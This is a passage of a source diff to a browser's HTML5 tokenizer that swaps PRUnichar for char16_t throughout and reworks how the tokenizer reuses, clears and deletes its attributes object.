-PRUnichar nsHtml5Tokenizer::OCTYPE[] = { 'o', 'c', 't', 'y', 'p', 'e' };
-PRUnichar nsHtml5Tokenizer::UBLIC[] = { 'u', 'b', 'l', 'i', 'c' };
-PRUnichar nsHtml5Tokenizer::YSTEM[] = { 'y', 's', 't', 'e', 'm' };
-static PRUnichar const TITLE_ARR_DATA[] = { 't', 'i', 't', 'l', 'e' };
-staticJArray<PRUnichar,int32_t> nsHtml5Tokenizer::TITLE_ARR = { TITLE_ARR_DATA, MOZ_ARRAY_LENGTH(TITLE_ARR_DATA) };
-static PRUnichar const SCRIPT_ARR_DATA[] = { 's', 'c', 'r', 'i', 'p', 't' };
-staticJArray<PRUnichar,int32_t> nsHtml5Tokenizer::SCRIPT_ARR = { SCRIPT_ARR_DATA, MOZ_ARRAY_LENGTH(SCRIPT_ARR_DATA) };
-static PRUnichar const STYLE_ARR_DATA[] = { 's', 't', 'y', 'l', 'e' };
-staticJArray<PRUnichar,int32_t> nsHtml5Tokenizer::STYLE_ARR = { STYLE_ARR_DATA, MOZ_ARRAY_LENGTH(STYLE_ARR_DATA) };
-static PRUnichar const PLAINTEXT_ARR_DATA[] = { 'p', 'l', 'a', 'i', 'n', 't', 'e', 'x', 't' };
-staticJArray<PRUnichar,int32_t> nsHtml5Tokenizer::PLAINTEXT_ARR = { PLAINTEXT_ARR_DATA, MOZ_ARRAY_LENGTH(PLAINTEXT_ARR_DATA) };
-static PRUnichar const XMP_ARR_DATA[] = { 'x', 'm', 'p' };
-staticJArray<PRUnichar,int32_t> nsHtml5Tokenizer::XMP_ARR = { XMP_ARR_DATA, MOZ_ARRAY_LENGTH(XMP_ARR_DATA) };
-static PRUnichar const TEXTAREA_ARR_DATA[] = { 't', 'e', 'x', 't', 'a', 'r', 'e', 'a' };
-staticJArray<PRUnichar,int32_t> nsHtml5Tokenizer::TEXTAREA_ARR = { TEXTAREA_ARR_DATA, MOZ_ARRAY_LENGTH(TEXTAREA_ARR_DATA) };
-static PRUnichar const IFRAME_ARR_DATA[] = { 'i', 'f', 'r', 'a', 'm', 'e' };
-staticJArray<PRUnichar,int32_t> nsHtml5Tokenizer::IFRAME_ARR = { IFRAME_ARR_DATA, MOZ_ARRAY_LENGTH(IFRAME_ARR_DATA) };
-static PRUnichar const NOEMBED_ARR_DATA[] = { 'n', 'o', 'e', 'm', 'b', 'e', 'd' };
-staticJArray<PRUnichar,int32_t> nsHtml5Tokenizer::NOEMBED_ARR = { NOEMBED_ARR_DATA, MOZ_ARRAY_LENGTH(NOEMBED_ARR_DATA) };
-static PRUnichar const NOSCRIPT_ARR_DATA[] = { 'n', 'o', 's', 'c', 'r', 'i', 'p', 't' };
-staticJArray<PRUnichar,int32_t> nsHtml5Tokenizer::NOSCRIPT_ARR = { NOSCRIPT_ARR_DATA, MOZ_ARRAY_LENGTH(NOSCRIPT_ARR_DATA) };
-static PRUnichar const NOFRAMES_ARR_DATA[] = { 'n', 'o', 'f', 'r', 'a', 'm', 'e', 's' };
-staticJArray<PRUnichar,int32_t> nsHtml5Tokenizer::NOFRAMES_ARR = { NOFRAMES_ARR_DATA, MOZ_ARRAY_LENGTH(NOFRAMES_ARR_DATA) };
+char16_t nsHtml5Tokenizer::LT_GT[] = { '<', '>' };
+char16_t nsHtml5Tokenizer::LT_SOLIDUS[] = { '<', '/' };
+char16_t nsHtml5Tokenizer::RSQB_RSQB[] = { ']', ']' };
+char16_t nsHtml5Tokenizer::REPLACEMENT_CHARACTER[] = { 0xfffd };
+char16_t nsHtml5Tokenizer::LF[] = { '\n' };
+char16_t nsHtml5Tokenizer::CDATA_LSQB[] = { 'C', 'D', 'A', 'T', 'A', '[' };
+char16_t nsHtml5Tokenizer::OCTYPE[] = { 'o', 'c', 't', 'y', 'p', 'e' };
+char16_t nsHtml5Tokenizer::UBLIC[] = { 'u', 'b', 'l', 'i', 'c' };
+char16_t nsHtml5Tokenizer::YSTEM[] = { 'y', 's', 't', 'e', 'm' };
+static char16_t const TITLE_ARR_DATA[] = { 't', 'i', 't', 'l', 'e' };
+staticJArray<char16_t,int32_t> nsHtml5Tokenizer::TITLE_ARR = { TITLE_ARR_DATA, MOZ_ARRAY_LENGTH(TITLE_ARR_DATA) };
+static char16_t const SCRIPT_ARR_DATA[] = { 's', 'c', 'r', 'i', 'p', 't' };
+staticJArray<char16_t,int32_t> nsHtml5Tokenizer::SCRIPT_ARR = { SCRIPT_ARR_DATA, MOZ_ARRAY_LENGTH(SCRIPT_ARR_DATA) };
+static char16_t const STYLE_ARR_DATA[] = { 's', 't', 'y', 'l', 'e' };
+staticJArray<char16_t,int32_t> nsHtml5Tokenizer::STYLE_ARR = { STYLE_ARR_DATA, MOZ_ARRAY_LENGTH(STYLE_ARR_DATA) };
+static char16_t const PLAINTEXT_ARR_DATA[] = { 'p', 'l', 'a', 'i', 'n', 't', 'e', 'x', 't' };
+staticJArray<char16_t,int32_t> nsHtml5Tokenizer::PLAINTEXT_ARR = { PLAINTEXT_ARR_DATA, MOZ_ARRAY_LENGTH(PLAINTEXT_ARR_DATA) };
+static char16_t const XMP_ARR_DATA[] = { 'x', 'm', 'p' };
+staticJArray<char16_t,int32_t> nsHtml5Tokenizer::XMP_ARR = { XMP_ARR_DATA, MOZ_ARRAY_LENGTH(XMP_ARR_DATA) };
+static char16_t const TEXTAREA_ARR_DATA[] = { 't', 'e', 'x', 't', 'a', 'r', 'e', 'a' };
+staticJArray<char16_t,int32_t> nsHtml5Tokenizer::TEXTAREA_ARR = { TEXTAREA_ARR_DATA, MOZ_ARRAY_LENGTH(TEXTAREA_ARR_DATA) };
+static char16_t const IFRAME_ARR_DATA[] = { 'i', 'f', 'r', 'a', 'm', 'e' };
+staticJArray<char16_t,int32_t> nsHtml5Tokenizer::IFRAME_ARR = { IFRAME_ARR_DATA, MOZ_ARRAY_LENGTH(IFRAME_ARR_DATA) };
+static char16_t const NOEMBED_ARR_DATA[] = { 'n', 'o', 'e', 'm', 'b', 'e', 'd' };
+staticJArray<char16_t,int32_t> nsHtml5Tokenizer::NOEMBED_ARR = { NOEMBED_ARR_DATA, MOZ_ARRAY_LENGTH(NOEMBED_ARR_DATA) };
+static char16_t const NOSCRIPT_ARR_DATA[] = { 'n', 'o', 's', 'c', 'r', 'i', 'p', 't' };
+staticJArray<char16_t,int32_t> nsHtml5Tokenizer::NOSCRIPT_ARR = { NOSCRIPT_ARR_DATA, MOZ_ARRAY_LENGTH(NOSCRIPT_ARR_DATA) };
+static char16_t const NOFRAMES_ARR_DATA[] = { 'n', 'o', 'f', 'r', 'a', 'm', 'e', 's' };
+staticJArray<char16_t,int32_t> nsHtml5Tokenizer::NOFRAMES_ARR = { NOFRAMES_ARR_DATA, MOZ_ARRAY_LENGTH(NOFRAMES_ARR_DATA) };
nsHtml5Tokenizer::nsHtml5Tokenizer(nsHtml5TreeBuilder* tokenHandler, bool viewingXmlSource)
: tokenHandler(tokenHandler),
encodingDeclarationHandler(nullptr),
- bmpChar(jArray<PRUnichar,int32_t>::newJArray(1)),
- astralChar(jArray<PRUnichar,int32_t>::newJArray(2)),
+ bmpChar(jArray<char16_t,int32_t>::newJArray(1)),
+ astralChar(jArray<char16_t,int32_t>::newJArray(2)),
tagName(nullptr),
attributeName(nullptr),
doctypeName(nullptr),
publicIdentifier(nullptr),
systemIdentifier(nullptr),
- attributes(nullptr),
+ attributes(tokenHandler->HasBuilder() ? new nsHtml5HtmlAttributes(0) : nullptr),
+ newAttributesEachTime(!tokenHandler->HasBuilder()),
viewingXmlSource(viewingXmlSource)
{
MOZ_COUNT_CTOR(nsHtml5Tokenizer);
@@ -130,7 +131,7 @@ nsHtml5Tokenizer::setStateAndEndTagExpectation(int32_t specialTokenizerState, ns
if (specialTokenizerState == NS_HTML5TOKENIZER_DATA) {
return;
}
- autoJArray<PRUnichar,int32_t> asArray = nsHtml5Portability::newCharArrayFromLocal(endTagExpectation);
+ autoJArray<char16_t,int32_t> asArray = nsHtml5Portability::newCharArrayFromLocal(endTagExpectation);
this->endTagExpectation = nsHtml5ElementName::elementNameByBuffer(asArray, 0, asArray.length, interner);
endTagExpectationToArray();
}
@@ -207,10 +208,10 @@ nsHtml5Tokenizer::emptyAttributes()
}
void
-nsHtml5Tokenizer::appendStrBuf(PRUnichar c)
+nsHtml5Tokenizer::appendStrBuf(char16_t c)
{
if (strBufLen == strBuf.length) {
- jArray<PRUnichar,int32_t> newBuf = jArray<PRUnichar,int32_t>::newJArray(strBuf.length + NS_HTML5TOKENIZER_BUFFER_GROW_BY);
+ jArray<char16_t,int32_t> newBuf = jArray<char16_t,int32_t>::newJArray(strBuf.length + NS_HTML5TOKENIZER_BUFFER_GROW_BY);
nsHtml5ArrayCopy::arraycopy(strBuf, newBuf, strBuf.length);
strBuf = newBuf;
}
@@ -238,10 +239,10 @@ nsHtml5Tokenizer::emitStrBuf()
}
void
-nsHtml5Tokenizer::appendLongStrBuf(PRUnichar c)
+nsHtml5Tokenizer::appendLongStrBuf(char16_t c)
{
if (longStrBufLen == longStrBuf.length) {
- jArray<PRUnichar,int32_t> newBuf = jArray<PRUnichar,int32_t>::newJArray(longStrBufLen + (longStrBufLen >> 1));
+ jArray<char16_t,int32_t> newBuf = jArray<char16_t,int32_t>::newJArray(longStrBufLen + (longStrBufLen >> 1));
nsHtml5ArrayCopy::arraycopy(longStrBuf, newBuf, longStrBuf.length);
longStrBuf = newBuf;
}
@@ -249,11 +250,11 @@ nsHtml5Tokenizer::appendLongStrBuf(PRUnichar c)
}
void
-nsHtml5Tokenizer::appendLongStrBuf(PRUnichar* buffer, int32_t offset, int32_t length)
+nsHtml5Tokenizer::appendLongStrBuf(char16_t* buffer, int32_t offset, int32_t length)
{
int32_t reqLen = longStrBufLen + length;
if (longStrBuf.length < reqLen) {
- jArray<PRUnichar,int32_t> newBuf = jArray<PRUnichar,int32_t>::newJArray(reqLen + (reqLen >> 1));
+ jArray<char16_t,int32_t> newBuf = jArray<char16_t,int32_t>::newJArray(reqLen + (reqLen >> 1));
nsHtml5ArrayCopy::arraycopy(longStrBuf, newBuf, longStrBuf.length);
longStrBuf = newBuf;
}
@@ -275,7 +276,7 @@ nsHtml5Tokenizer::emitComment(int32_t provisionalHyphens, int32_t pos)
}
void
-nsHtml5Tokenizer::flushChars(PRUnichar* buf, int32_t pos)
+nsHtml5Tokenizer::flushChars(char16_t* buf, int32_t pos)
{
if (pos > cstart) {
tokenHandler->characters(buf, cstart, pos - cstart);
@@ -284,12 +285,6 @@ nsHtml5Tokenizer::flushChars(PRUnichar* buf, int32_t pos)
}
void
-nsHtml5Tokenizer::resetAttributes()
-{
- attributes = nullptr;
-}
-
-void
nsHtml5Tokenizer::strBufToElementNameString()
{
tagName = nsHtml5ElementName::elementNameByBuffer(strBuf, 0, strBufLen, interner);
@@ -307,17 +302,26 @@ nsHtml5Tokenizer::emitCurrentTagToken(bool selfClosing, int32_t pos)
if (!viewingXmlSource) {
tokenHandler->endTag(tagName);
}
- delete attributes;
+ if (newAttributesEachTime) {
+ delete attributes;
+ attributes = nullptr;
+ }
} else {
if (viewingXmlSource) {
+ MOZ_ASSERT(newAttributesEachTime);
delete attributes;
+ attributes = nullptr;
} else {
tokenHandler->startTag(tagName, attrs, selfClosing);
}
}
tagName->release();
tagName = nullptr;
- resetAttributes();
+ if (newAttributesEachTime) {
+ attributes = nullptr;
+ } else {
+ attributes->clear(0);
+ }
return stateSave;
}
@@ -370,7 +374,7 @@ nsHtml5Tokenizer::tokenizeBuffer(nsHtml5UTF16Buffer* buffer)
{
int32_t state = stateSave;
int32_t returnState = returnStateSave;
- PRUnichar c = '\0';
+ char16_t c = '\0';
shouldSuspend = false;
lastCR = false;
int32_t start = buffer->getStart();
@@ -418,7 +422,7 @@ nsHtml5Tokenizer::tokenizeBuffer(nsHtml5UTF16Buffer* buffer)
template<class P>
int32_t
-nsHtml5Tokenizer::stateLoop(int32_t state, PRUnichar c, int32_t pos, PRUnichar* buf, bool reconsume, int32_t returnState, int32_t endPos)
+nsHtml5Tokenizer::stateLoop(int32_t state, char16_t c, int32_t pos, char16_t* buf, bool reconsume, int32_t returnState, int32_t endPos)
{
stateloop: for (; ; ) {
switch(state) {
@@ -472,7 +476,7 @@ nsHtml5Tokenizer::stateLoop(int32_t state, PRUnichar c, int32_t pos, PRUnichar*
c = checkChar(buf, pos);
if (c >= 'A' && c <= 'Z') {
endTag = false;
- clearStrBufAndAppend((PRUnichar) (c + 0x20));
+ clearStrBufAndAppend((char16_t) (c + 0x20));
state = P::transition(mViewSource, NS_HTML5TOKENIZER_TAG_NAME, reconsume, pos);
NS_HTML5_BREAK(tagopenloop);
} else if (c >= 'a' && c <= 'z') {
@@ -1605,7 +1609,7 @@ nsHtml5Tokenizer::stateLoop(int32_t state, PRUnichar c, int32_t pos, PRUnichar*
const nsHtml5CharacterName& candidateName = nsHtml5NamedCharacters::NAMES[candidate];
if (!candidateName.length() || candidateName.charAt(candidateName.length() - 1) != ';') {
if ((returnState & NS_HTML5TOKENIZER_DATA_AND_RCDATA_MASK)) {
- PRUnichar ch;
+ char16_t ch;
if (strBufMark == strBufLen) {
ch = c;
} else {
@@ -1632,7 +1636,7 @@ nsHtml5Tokenizer::stateLoop(int32_t state, PRUnichar c, int32_t pos, PRUnichar*
}
}
P::completedNamedCharacterReference(mViewSource);
- const PRUnichar* val = nsHtml5NamedCharacters::VALUES[candidate];
+ const char16_t* val = nsHtml5NamedCharacters::VALUES[candidate];
if (!val[1]) {
emitOrAppendOne(val, returnState);
} else {
@@ -2010,8 +2014,8 @@ nsHtml5Tokenizer::stateLoop(int32_t state, PRUnichar c, int32_t pos, PRUnichar*
}
c = checkChar(buf, pos);
if (index < endTagExpectationAsArray.length) {
- PRUnichar e = endTagExpectationAsArray[index];
- PRUnichar folded = c;
+ char16_t e = endTagExpectationAsArray[index];
+ char16_t folded = c;
if (c >= 'A' && c <= 'Z') {
folded += 0x20;
}
@@ -2409,7 +2413,7 @@ nsHtml5Tokenizer::stateLoop(int32_t state, PRUnichar c, int32_t pos, PRUnichar*
c = checkChar(buf, pos);
MOZ_ASSERT(index > 0);
if (index < 6) {
- PRUnichar folded = c;
+ char16_t folded = c;
if (c >= 'A' && c <= 'Z') {
folded += 0x20;
}
@@ -2587,7 +2591,7 @@ nsHtml5Tokenizer::stateLoop(int32_t state, PRUnichar c, int32_t pos, PRUnichar*
}
c = checkChar(buf, pos);
if (index < 6) {
- PRUnichar folded = c;
+ char16_t folded = c;
if (c >= 'A' && c <= 'Z') {
folded += 0x20;
}
@@ -2632,7 +2636,7 @@ nsHtml5Tokenizer::stateLoop(int32_t state, PRUnichar c, int32_t pos, PRUnichar*
}
c = checkChar(buf, pos);
if (index < 6) {
- PRUnichar folded = c;
+ char16_t folded = c;
if (c >= 'A' && c <= 'Z') {
folded += 0x20;
}
@@ -2836,7 +2840,7 @@ nsHtml5Tokenizer::stateLoop(int32_t state, PRUnichar c, int32_t pos, PRUnichar*
}
c = checkChar(buf, pos);
if (index < 5) {
- PRUnichar folded = c;
+ char16_t folded = c;
if (c >= 'A' && c <= 'Z') {
folded += 0x20;
}
@@ -3207,7 +3211,7 @@ nsHtml5Tokenizer::stateLoop(int32_t state, PRUnichar c, int32_t pos, PRUnichar*
}
c = checkChar(buf, pos);
if (index < 5) {
- PRUnichar folded = c;
+ char16_t folded = c;
if (c >= 'A' && c <= 'Z') {
folded += 0x20;
}
@@ -3472,7 +3476,7 @@ nsHtml5Tokenizer::initDoctypeFields()
}
void
-nsHtml5Tokenizer::emitCarriageReturn(PRUnichar* buf, int32_t pos)
+nsHtml5Tokenizer::emitCarriageReturn(char16_t* buf, int32_t pos)
{
silentCarriageReturn();
flushChars(buf, pos);
@@ -3481,7 +3485,7 @@ nsHtml5Tokenizer::emitCarriageReturn(PRUnichar* buf, int32_t pos)
}
void
-nsHtml5Tokenizer::emitReplacementCharacter(PRUnichar* buf, int32_t pos)
+nsHtml5Tokenizer::emitReplacementCharacter(char16_t* buf, int32_t pos)
{
flushChars(buf, pos);
tokenHandler->zeroOriginatingReplacementCharacter();
@@ -3489,7 +3493,7 @@ nsHtml5Tokenizer::emitReplacementCharacter(PRUnichar* buf, int32_t pos)
}
void
-nsHtml5Tokenizer::emitPlaintextReplacementCharacter(PRUnichar* buf, int32_t pos)
+nsHtml5Tokenizer::emitPlaintextReplacementCharacter(char16_t* buf, int32_t pos)
{
flushChars(buf, pos);
tokenHandler->characters(REPLACEMENT_CHARACTER, 0, 1);
@@ -3497,7 +3501,7 @@ nsHtml5Tokenizer::emitPlaintextReplacementCharacter(PRUnichar* buf, int32_t pos)
}
void
-nsHtml5Tokenizer::setAdditionalAndRememberAmpersandLocation(PRUnichar add)
+nsHtml5Tokenizer::setAdditionalAndRememberAmpersandLocation(char16_t add)
{
additional = add;
}
@@ -3532,7 +3536,7 @@ nsHtml5Tokenizer::handleNcrValue(int32_t returnState)
if (value <= 0xFFFF) {
if (value >= 0x80 && value <= 0x9f) {
errNcrInC1Range();
- PRUnichar* val = nsHtml5NamedCharacters::WINDOWS_1252[value - 0x80];
+ char16_t* val = nsHtml5NamedCharacters::WINDOWS_1252[value - 0x80];
emitOrAppendOne(val, returnState);
} else if (value == 0x0) {
errNcrZero();
@@ -3541,13 +3545,13 @@ nsHtml5Tokenizer::handleNcrValue(int32_t returnState)
errNcrSurrogate();
emitOrAppendOne(nsHtml5Tokenizer::REPLACEMENT_CHARACTER, returnState);
} else {
- PRUnichar ch = (PRUnichar) value;
+ char16_t ch = (char16_t) value;
bmpChar[0] = ch;
emitOrAppendOne(bmpChar, returnState);
}
} else if (value <= 0x10FFFF) {
- astralChar[0] = (PRUnichar) (NS_HTML5TOKENIZER_LEAD_OFFSET + (value >> 10));
- astralChar[1] = (PRUnichar) (0xDC00 + (value & 0x3FF));
+ astralChar[0] = (char16_t) (NS_HTML5TOKENIZER_LEAD_OFFSET + (value >> 10));
+ astralChar[1] = (char16_t) (0xDC00 + (value & 0x3FF));
emitOrAppendTwo(astralChar, returnState);
} else {
errNcrOutOfRange();
@@ -3745,7 +3749,7 @@ nsHtml5Tokenizer::eof()
}
case NS_HTML5TOKENIZER_CHARACTER_REFERENCE_TAIL: {
for (; ; ) {
- PRUnichar c = '\0';
+ char16_t c = '\0';
entCol++;
for (; ; ) {
if (hi == -1) {
@@ -3795,7 +3799,7 @@ nsHtml5Tokenizer::eof()
const nsHtml5CharacterName& candidateName = nsHtml5NamedCharacters::NAMES[candidate];
if (!candidateName.length() || candidateName.charAt(candidateName.length() - 1) != ';') {
if ((returnState & NS_HTML5TOKENIZER_DATA_AND_RCDATA_MASK)) {
- PRUnichar ch;
+ char16_t ch;
if (strBufMark == strBufLen) {
ch = '\0';
} else {
@@ -3814,7 +3818,7 @@ nsHtml5Tokenizer::eof()
errNotSemicolonTerminated();
}
}
- const PRUnichar* val = nsHtml5NamedCharacters::VALUES[candidate];
+ const char16_t* val = nsHtml5NamedCharacters::VALUES[candidate];
if (!val[1]) {
emitOrAppendOne(val, returnState);
} else {
@@ -3889,7 +3893,7 @@ nsHtml5Tokenizer::internalEncodingDeclaration(nsString* internalCharset)
}
void
-nsHtml5Tokenizer::emitOrAppendTwo(const PRUnichar* val, int32_t returnState)
+nsHtml5Tokenizer::emitOrAppendTwo(const char16_t* val, int32_t returnState)
{
if ((returnState & NS_HTML5TOKENIZER_DATA_AND_RCDATA_MASK)) {
appendLongStrBuf(val[0]);
@@ -3900,7 +3904,7 @@ nsHtml5Tokenizer::emitOrAppendTwo(const PRUnichar* val, int32_t returnState)
}
void
-nsHtml5Tokenizer::emitOrAppendOne(const PRUnichar* val, int32_t returnState)
+nsHtml5Tokenizer::emitOrAppendOne(const char16_t* val, int32_t returnState)
{
if ((returnState & NS_HTML5TOKENIZER_DATA_AND_RCDATA_MASK)) {
appendLongStrBuf(val[0]);
@@ -3934,8 +3938,6 @@ nsHtml5Tokenizer::end()
tokenHandler->endTokenization();
if (attributes) {
attributes->clear(0);
- delete attributes;
- attributes = nullptr;
}
}
@@ -3981,9 +3983,11 @@ nsHtml5Tokenizer::resetToDataState()
attributeName->release();
attributeName = nullptr;
}
- if (attributes) {
- delete attributes;
- attributes = nullptr;
+ if (newAttributesEachTime) {
+ if (attributes) {
+ delete attributes;
+ attributes = nullptr;
+ }
}
}
@@ -3992,12 +3996,12 @@ nsHtml5Tokenizer::loadState(nsHtml5Tokenizer* other)
{
strBufLen = other->strBufLen;
if (strBufLen > strBuf.length) {
- strBuf = jArray<PRUnichar,int32_t>::newJArray(strBufLen);
+ strBuf = jArray<char16_t,int32_t>::newJArray(strBufLen);
}
nsHtml5ArrayCopy::arraycopy(other->strBuf, strBuf, strBufLen);
longStrBufLen = other->longStrBufLen;
if (longStrBufLen > longStrBuf.length) {
- longStrBuf = jArray<PRUnichar,int32_t>::newJArray(longStrBufLen);
+ longStrBuf = jArray<char16_t,int32_t>::newJArray(longStrBufLen);
}
nsHtml5ArrayCopy::arraycopy(other->longStrBuf, longStrBuf, longStrBufLen);
stateSave = other->stateSave;
@@ -4064,8 +4068,8 @@ void
nsHtml5Tokenizer::initializeWithoutStarting()
{
confident = false;
- strBuf = jArray<PRUnichar,int32_t>::newJArray(64);
- longStrBuf = jArray<PRUnichar,int32_t>::newJArray(1024);
+ strBuf = jArray<char16_t,int32_t>::newJArray(64);
+ longStrBuf = jArray<char16_t,int32_t>::newJArray(1024);
line = 1;
resetToDataState();
}
@@ -4080,6 +4084,8 @@ nsHtml5Tokenizer::setEncodingDeclarationHandler(nsHtml5StreamParser* encodingDec
nsHtml5Tokenizer::~nsHtml5Tokenizer()
{
MOZ_COUNT_DTOR(nsHtml5Tokenizer);
+ delete attributes;
+ attributes = nullptr;
}
void
diff --git a/parser/html/nsHtml5Tokenizer.h b/parser/html/nsHtml5Tokenizer.h
index 3e043295a..c09922ea6 100644
--- a/parser/html/nsHtml5Tokenizer.h
+++ b/parser/html/nsHtml5Tokenizer.h
@@ -28,8 +28,8 @@
* Please edit Tokenizer.java instead and regenerate.
*/
-#ifndef nsHtml5Tokenizer_h__
-#define nsHtml5Tokenizer_h__
+#ifndef nsHtml5Tokenizer_h
+#define nsHtml5Tokenizer_h
#include "nsIAtom.h"
#include "nsHtml5AtomTable.h"
@@ -62,25 +62,25 @@ class nsHtml5Portability;
class nsHtml5Tokenizer
{
private:
- static PRUnichar LT_GT[];
- static PRUnichar LT_SOLIDUS[];
- static PRUnichar RSQB_RSQB[];
- static PRUnichar REPLACEMENT_CHARACTER[];
- static PRUnichar LF[];
- static PRUnichar CDATA_LSQB[];
- static PRUnichar OCTYPE[];
- static PRUnichar UBLIC[];
- static PRUnichar YSTEM[];
- static staticJArray<PRUnichar,int32_t> TITLE_ARR;
- static staticJArray<PRUnichar,int32_t> SCRIPT_ARR;
- static staticJArray<PRUnichar,int32_t> STYLE_ARR;
- static staticJArray<PRUnichar,int32_t> PLAINTEXT_ARR;
- static staticJArray<PRUnichar,int32_t> XMP_ARR;
- static staticJArray<PRUnichar,int32_t> TEXTAREA_ARR;
- static staticJArray<PRUnichar,int32_t> IFRAME_ARR;
- static staticJArray<PRUnichar,int32_t> NOEMBED_ARR;
- static staticJArray<PRUnichar,int32_t> NOSCRIPT_ARR;
- static staticJArray<PRUnichar,int32_t> NOFRAMES_ARR;
+ static char16_t LT_GT[];
+ static char16_t LT_SOLIDUS[];
+ static char16_t RSQB_RSQB[];
+ static char16_t REPLACEMENT_CHARACTER[];
+ static char16_t LF[];
+ static char16_t CDATA_LSQB[];
+ static char16_t OCTYPE[];
+ static char16_t UBLIC[];
+ static char16_t YSTEM[];
+ static staticJArray<char16_t,int32_t> TITLE_ARR;
+ static staticJArray<char16_t,int32_t> SCRIPT_ARR;
+ static staticJArray<char16_t,int32_t> STYLE_ARR;
+ static staticJArray<char16_t,int32_t> PLAINTEXT_ARR;
+ static staticJArray<char16_t,int32_t> XMP_ARR;
+ static staticJArray<char16_t,int32_t> TEXTAREA_ARR;
+ static staticJArray<char16_t,int32_t> IFRAME_ARR;
+ static staticJArray<char16_t,int32_t> NOEMBED_ARR;
+ static staticJArray<char16_t,int32_t> NOSCRIPT_ARR;
+ static staticJArray<char16_t,int32_t> NOFRAMES_ARR;
protected:
nsHtml5TreeBuilder* tokenHandler;
nsHtml5StreamParser* encodingDeclarationHandler;
@@ -92,7 +92,7 @@ class nsHtml5Tokenizer
int32_t index;
private:
bool forceQuirks;
- PRUnichar additional;
+ char16_t additional;
int32_t entCol;
int32_t firstCharKey;
int32_t lo;
@@ -109,16 +109,16 @@ class nsHtml5Tokenizer
private:
nsString* publicId;
nsString* systemId;
- autoJArray<PRUnichar,int32_t> strBuf;
+ autoJArray<char16_t,int32_t> strBuf;
int32_t strBufLen;
- autoJArray<PRUnichar,int32_t> longStrBuf;
+ autoJArray<char16_t,int32_t> longStrBuf;
int32_t longStrBufLen;
- autoJArray<PRUnichar,int32_t> bmpChar;
- autoJArray<PRUnichar,int32_t> astralChar;
+ autoJArray<char16_t,int32_t> bmpChar;
+ autoJArray<char16_t,int32_t> astralChar;
protected:
nsHtml5ElementName* endTagExpectation;
private:
- jArray<PRUnichar,int32_t> endTagExpectationAsArray;
+ jArray<char16_t,int32_t> endTagExpectationAsArray;
protected:
bool endTag;
private:
@@ -130,6 +130,7 @@ class nsHtml5Tokenizer
nsString* publicIdentifier;
nsString* systemIdentifier;
nsHtml5HtmlAttributes* attributes;
+ bool newAttributesEachTime;
bool shouldSuspend;
protected:
bool confident;
@@ -155,7 +156,7 @@ class nsHtml5Tokenizer
nsHtml5HtmlAttributes* emptyAttributes();
private:
- inline void clearStrBufAndAppend(PRUnichar c)
+ inline void clearStrBufAndAppend(char16_t c)
{
strBuf[0] = c;
strBufLen = 1;
@@ -166,7 +167,7 @@ class nsHtml5Tokenizer
strBufLen = 0;
}
- void appendStrBuf(PRUnichar c);
+ void appendStrBuf(char16_t c);
protected:
nsString* strBufToString();
private:
@@ -177,25 +178,25 @@ class nsHtml5Tokenizer
longStrBufLen = 0;
}
- inline void clearLongStrBufAndAppend(PRUnichar c)
+ inline void clearLongStrBufAndAppend(char16_t c)
{
longStrBuf[0] = c;
longStrBufLen = 1;
}
- void appendLongStrBuf(PRUnichar c);
+ void appendLongStrBuf(char16_t c);
inline void appendSecondHyphenToBogusComment()
{
appendLongStrBuf('-');
}
- inline void adjustDoubleHyphenAndAppendToLongStrBufAndErr(PRUnichar c)
+ inline void adjustDoubleHyphenAndAppendToLongStrBufAndErr(char16_t c)
{
errConsecutiveHyphens();
appendLongStrBuf(c);
}
- void appendLongStrBuf(PRUnichar* buffer, int32_t offset, int32_t length);
+ void appendLongStrBuf(char16_t* buffer, int32_t offset, int32_t length);
inline void appendStrBufToLongStrBuf()
{
appendLongStrBuf(strBuf, 0, strBufLen);
@@ -204,9 +205,8 @@ class nsHtml5Tokenizer
nsString* longStrBufToString();
void emitComment(int32_t provisionalHyphens, int32_t pos);
protected:
- void flushChars(PRUnichar* buf, int32_t pos);
+ void flushChars(char16_t* buf, int32_t pos);
private:
- void resetAttributes();
void strBufToElementNameString();
int32_t emitCurrentTagToken(bool selfClosing, int32_t pos);
void attributeNameComplete();
@@ -216,7 +216,7 @@ class nsHtml5Tokenizer
void start();
bool tokenizeBuffer(nsHtml5UTF16Buffer* buffer);
private:
- template<class P> int32_t stateLoop(int32_t state, PRUnichar c, int32_t pos, PRUnichar* buf, bool reconsume, int32_t returnState, int32_t endPos);
+ template<class P> int32_t stateLoop(int32_t state, char16_t c, int32_t pos, char16_t* buf, bool reconsume, int32_t returnState, int32_t endPos);
void initDoctypeFields();
inline void adjustDoubleHyphenAndAppendToLongStrBufCarriageReturn()
{
@@ -255,10 +255,10 @@ class nsHtml5Tokenizer
}
private:
- void emitCarriageReturn(PRUnichar* buf, int32_t pos);
- void emitReplacementCharacter(PRUnichar* buf, int32_t pos);
- void emitPlaintextReplacementCharacter(PRUnichar* buf, int32_t pos);
- void setAdditionalAndRememberAmpersandLocation(PRUnichar add);
+ void emitCarriageReturn(char16_t* buf, int32_t pos);
+ void emitReplacementCharacter(char16_t* buf, int32_t pos);
+ void emitPlaintextReplacementCharacter(char16_t* buf, int32_t pos);
+ void setAdditionalAndRememberAmpersandLocation(char16_t add);
void bogusDoctype();
void bogusDoctypeWithoutQuirks();
void emitOrAppendStrBuf(int32_t returnState);
@@ -268,7 +268,7 @@ class nsHtml5Tokenizer
private:
void emitDoctypeToken(int32_t pos);
protected:
- inline PRUnichar checkChar(PRUnichar* buf, int32_t pos)
+ inline char16_t checkChar(char16_t* buf, int32_t pos)
{
return buf[pos];
}
@@ -276,8 +276,8 @@ class nsHtml5Tokenizer
public:
bool internalEncodingDeclaration(nsString* internalCharset);
private:
- void emitOrAppendTwo(const PRUnichar* val, int32_t returnState);
- void emitOrAppendOne(const PRUnichar* val, int32_t returnState);
+ void emitOrAppendTwo(const char16_t* val, int32_t returnState);
+ void emitOrAppendOne(const char16_t* val, int32_t returnState);
public:
void end();
void requestSuspension();
diff --git a/parser/html/nsHtml5TokenizerCppSupplement.h b/parser/html/nsHtml5TokenizerCppSupplement.h
index b32776c6d..5d30b5c8e 100644
--- a/parser/html/nsHtml5TokenizerCppSupplement.h
+++ b/parser/html/nsHtml5TokenizerCppSupplement.h
@@ -42,7 +42,7 @@ nsHtml5Tokenizer::errWarnLtSlashInRcdata()
// The null checks below annotated MOZ_LIKELY are not actually necessary.
void
-nsHtml5Tokenizer::errUnquotedAttributeValOrNull(PRUnichar c)
+nsHtml5Tokenizer::errUnquotedAttributeValOrNull(char16_t c)
{
if (MOZ_LIKELY(mViewSource)) {
switch (c) {
